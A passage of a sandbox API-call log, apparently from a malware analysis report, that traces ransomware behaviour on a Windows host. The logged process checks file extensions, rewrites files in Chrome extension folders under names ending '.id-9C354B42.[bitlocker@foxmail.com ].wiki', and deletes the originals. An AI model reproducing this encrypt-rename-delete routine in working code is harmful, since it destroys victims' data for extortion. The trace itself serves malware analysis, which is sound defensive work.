(lpString1=".bz2", lpString2="json") returned -1 [0175.395] lstrlenW (lpString=".7z") returned 3 [0175.395] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0175.395] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\tr\\messages.json") returned 151 [0175.395] lstrlenW (lpString=".dbf") returned 4 [0175.395] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0175.395] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\tr\\messages.json") returned 151 [0175.395] lstrlenW (lpString=".1cd") returned 4 [0175.395] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0175.395] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\tr\\messages.json") returned 151 [0175.395] lstrlenW (lpString=".jpg") returned 4 [0175.395] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0175.395] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0175.395] lstrlenW (lpString="messages.json") returned 13 [0175.395] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\uk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\uk\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0175.397] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x2d2ff1c | out: lpFileSize=0x2d2ff1c*=254) returned 1 [0175.397] CloseHandle (hObject=0x19c) returned 1 [0175.397] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\uk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\uk\\messages.json")) returned 0x2020 [0175.397] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\uk\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\uk\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0175.397] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\uk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\uk\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0175.397] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0175.397] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0175.397] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\uk\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\uk\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0175.397] GetLastError () returned 0x0 [0175.397] ReadFile (in: hFile=0x19c, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0xfe, lpOverlapped=0x0) returned 1 [0175.398] WriteFile (in: hFile=0x2dc, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0x100, lpOverlapped=0x0) returned 1 [0175.399] ReadFile (in: hFile=0x19c, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0x0, lpOverlapped=0x0) returned 1 [0175.399] WriteFile (in: hFile=0x2dc, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xee, lpOverlapped=0x0) returned 1 [0175.399] SetEndOfFile (hFile=0x2dc) returned 1 [0175.400] CloseHandle (hObject=0x2dc) returned 1 [0175.400] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0175.400] SetEndOfFile (hFile=0x19c) returned 1 [0175.400] CloseHandle (hObject=0x19c) returned 1 [0175.400] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\uk\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0175.523] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\uk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\uk\\messages.json")) returned 1 [0175.523] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\uk\\messages.json") returned 151 [0175.531] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\uk\\messages.json") returned 151 [0175.531] lstrlenW (lpString=".doc") returned 4 [0175.531] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0175.531] lstrlenW (lpString=".docx") returned 5 [0175.531] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0175.531] lstrlenW (lpString=".pdf") returned 4 [0175.531] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0175.531] lstrlenW (lpString=".xls") returned 4 [0175.531] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0175.531] lstrlenW (lpString=".xlsx") returned 5 [0175.531] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0175.538] lstrlenW (lpString=".ppt") returned 4 [0175.539] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0175.539] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\uk\\messages.json") returned 151 [0175.539] lstrlenW (lpString=".zip") returned 4 [0175.539] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0175.539] lstrlenW (lpString=".rar") returned 4 [0175.539] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0175.539] lstrlenW (lpString=".bz2") returned 4 [0175.539] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0175.539] lstrlenW (lpString=".7z") returned 3 [0175.539] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0175.539] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\uk\\messages.json") returned 151 [0175.539] lstrlenW (lpString=".dbf") returned 4 [0175.539] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0175.539] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\uk\\messages.json") returned 151 [0175.539] lstrlenW (lpString=".1cd") returned 4 [0175.539] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0175.539] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\uk\\messages.json") returned 151 [0175.539] lstrlenW (lpString=".jpg") returned 4 [0175.539] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0175.539] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\uk\\messages.json") returned 151 [0175.539] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\uk\\messages.json") returned 151 [0175.539] lstrlenW (lpString=".doc") returned 4 [0175.539] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0175.539] lstrlenW (lpString=".docx") returned 5 [0175.539] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0175.539] lstrlenW (lpString=".pdf") returned 4 [0175.539] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0175.539] lstrlenW (lpString=".xls") returned 4 [0175.539] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0175.539] lstrlenW (lpString=".xlsx") returned 5 [0175.540] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0175.540] lstrlenW (lpString=".ppt") returned 4 [0175.540] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0175.540] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\uk\\messages.json") returned 151 [0175.540] lstrlenW (lpString=".zip") returned 4 [0175.540] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0175.540] lstrlenW (lpString=".rar") returned 4 [0175.540] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0175.540] lstrlenW (lpString=".bz2") returned 4 [0175.540] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0175.540] lstrlenW (lpString=".7z") returned 3 [0175.540] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0175.540] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\uk\\messages.json") returned 151 [0175.540] lstrlenW (lpString=".dbf") returned 4 [0175.540] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0175.540] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\uk\\messages.json") returned 151 [0175.540] lstrlenW (lpString=".1cd") returned 4 [0175.540] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0175.540] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\uk\\messages.json") returned 151 [0175.540] lstrlenW (lpString=".jpg") returned 4 [0175.540] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0175.540] lstrcmpiW (lpString1=".js", lpString2=".wiki") returned -1 [0175.541] lstrlenW (lpString="page_embed_script.js") returned 20 [0175.541] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\page_embed_script.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\page_embed_script.js"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0175.541] GetFileSizeEx (in: hFile=0x2dc, lpFileSize=0x2d2ff1c | out: lpFileSize=0x2d2ff1c*=224) returned 1 [0175.541] CloseHandle (hObject=0x2dc) returned 1 [0175.541] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\page_embed_script.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\page_embed_script.js")) returned 0x2020 [0175.541] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\page_embed_script.js.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\page_embed_script.js.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0175.541] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\page_embed_script.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\page_embed_script.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0175.541] SetFilePointerEx (in: hFile=0x2dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0175.541] SetFilePointerEx (in: hFile=0x2dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0175.541] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\page_embed_script.js.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\page_embed_script.js.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0175.542] GetLastError () returned 0x0 [0175.542] ReadFile (in: hFile=0x2dc, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0xe0, lpOverlapped=0x0) returned 1 [0175.543] WriteFile (in: hFile=0x1ac, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0175.544] ReadFile (in: hFile=0x2dc, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0x0, lpOverlapped=0x0) returned 1 [0175.544] WriteFile (in: hFile=0x1ac, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xfc, lpOverlapped=0x0) returned 1 [0175.544] SetEndOfFile (hFile=0x1ac) returned 1 [0175.544] CloseHandle (hObject=0x1ac) returned 1 [0175.544] SetFilePointerEx (in: hFile=0x2dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0175.544] SetEndOfFile (hFile=0x2dc) returned 1 [0175.545] CloseHandle (hObject=0x2dc) returned 1 [0175.545] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\page_embed_script.js.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0175.545] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\page_embed_script.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\page_embed_script.js")) returned 1 [0175.546] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\page_embed_script.js") returned 146 [0175.546] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\page_embed_script.js") returned 146 [0175.546] lstrlenW (lpString=".doc") returned 4 [0175.546] lstrcmpiW (lpString1=".doc", lpString2="t.js") returned -1 [0175.546] lstrlenW (lpString=".docx") returned 5 [0175.546] lstrcmpiW (lpString1=".docx", lpString2="pt.js") returned -1 [0175.546] lstrlenW (lpString=".pdf") returned 4 [0175.546] lstrcmpiW (lpString1=".pdf", lpString2="t.js") returned -1 [0175.546] lstrlenW (lpString=".xls") returned 4 [0175.546] lstrcmpiW (lpString1=".xls", lpString2="t.js") returned -1 [0175.546] lstrlenW (lpString=".xlsx") returned 5 [0175.546] lstrcmpiW (lpString1=".xlsx", lpString2="pt.js") returned -1 [0175.546] lstrlenW (lpString=".ppt") returned 4 [0175.546] lstrcmpiW (lpString1=".ppt", lpString2="t.js") returned -1 [0175.546] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\page_embed_script.js") returned 146 [0175.546] lstrlenW (lpString=".zip") returned 4 [0175.546] lstrcmpiW (lpString1=".zip", lpString2="t.js") returned -1 [0175.546] lstrlenW (lpString=".rar") returned 4 [0175.546] lstrcmpiW (lpString1=".rar", lpString2="t.js") returned -1 [0175.546] lstrlenW (lpString=".bz2") returned 4 [0175.546] lstrcmpiW (lpString1=".bz2", lpString2="t.js") returned -1 [0175.546] lstrlenW (lpString=".7z") returned 3 [0175.546] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0175.546] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\page_embed_script.js") returned 146 [0175.546] lstrlenW (lpString=".dbf") returned 4 [0175.546] lstrcmpiW (lpString1=".dbf", lpString2="t.js") returned -1 [0175.546] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\page_embed_script.js") returned 146 [0175.546] lstrlenW (lpString=".1cd") returned 4 [0175.546] lstrcmpiW (lpString1=".1cd", lpString2="t.js") returned -1 [0175.547] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\page_embed_script.js") returned 146 [0175.547] lstrlenW (lpString=".jpg") returned 4 [0175.547] lstrcmpiW (lpString1=".jpg", lpString2="t.js") returned -1 [0175.547] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\page_embed_script.js") returned 146 [0175.547] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\page_embed_script.js") returned 146 [0175.547] lstrlenW (lpString=".doc") returned 4 [0175.547] lstrcmpiW (lpString1=".doc", lpString2="t.js") returned -1 [0175.547] lstrlenW (lpString=".docx") returned 5 [0175.547] lstrcmpiW (lpString1=".docx", lpString2="pt.js") returned -1 [0175.547] lstrlenW (lpString=".pdf") returned 4 [0175.547] lstrcmpiW (lpString1=".pdf", lpString2="t.js") returned -1 [0175.547] lstrlenW (lpString=".xls") returned 4 [0175.547] lstrcmpiW (lpString1=".xls", lpString2="t.js") returned -1 [0175.547] lstrlenW (lpString=".xlsx") returned 5 [0175.547] lstrcmpiW (lpString1=".xlsx", lpString2="pt.js") returned -1 [0175.547] lstrlenW (lpString=".ppt") returned 4 [0175.547] lstrcmpiW (lpString1=".ppt", lpString2="t.js") returned -1 [0175.547] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\page_embed_script.js") returned 146 [0175.547] lstrlenW (lpString=".zip") returned 4 [0175.547] lstrcmpiW (lpString1=".zip", lpString2="t.js") returned -1 [0175.547] lstrlenW (lpString=".rar") returned 4 [0175.547] lstrcmpiW (lpString1=".rar", lpString2="t.js") returned -1 [0175.547] lstrlenW (lpString=".bz2") returned 4 [0175.547] lstrcmpiW (lpString1=".bz2", lpString2="t.js") returned -1 [0175.547] lstrlenW (lpString=".7z") returned 3 [0175.547] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0175.547] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\page_embed_script.js") returned 146 [0175.547] lstrlenW (lpString=".dbf") returned 4 [0175.548] lstrcmpiW (lpString1=".dbf", lpString2="t.js") returned -1 [0175.548] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\page_embed_script.js") returned 146 [0175.548] lstrlenW (lpString=".1cd") returned 4 [0175.548] lstrcmpiW (lpString1=".1cd", lpString2="t.js") returned -1 [0175.548] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\page_embed_script.js") returned 146 [0175.548] lstrlenW (lpString=".jpg") returned 4 [0175.548] lstrcmpiW (lpString1=".jpg", lpString2="t.js") returned -1 [0175.548] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0175.548] lstrlenW (lpString="messages.json") returned 13 [0175.548] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\af\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\af\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0175.549] GetFileSizeEx (in: hFile=0x2dc, lpFileSize=0x2d2ff1c | out: lpFileSize=0x2d2ff1c*=132) returned 1 [0175.549] CloseHandle (hObject=0x2dc) returned 1 [0175.549] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\af\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\af\\messages.json")) returned 0x2020 [0175.549] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\af\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\af\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0175.549] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\af\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\af\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0175.549] SetFilePointerEx (in: hFile=0x2dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0175.549] SetFilePointerEx (in: hFile=0x2dc, liDistanceToMove=0x0, 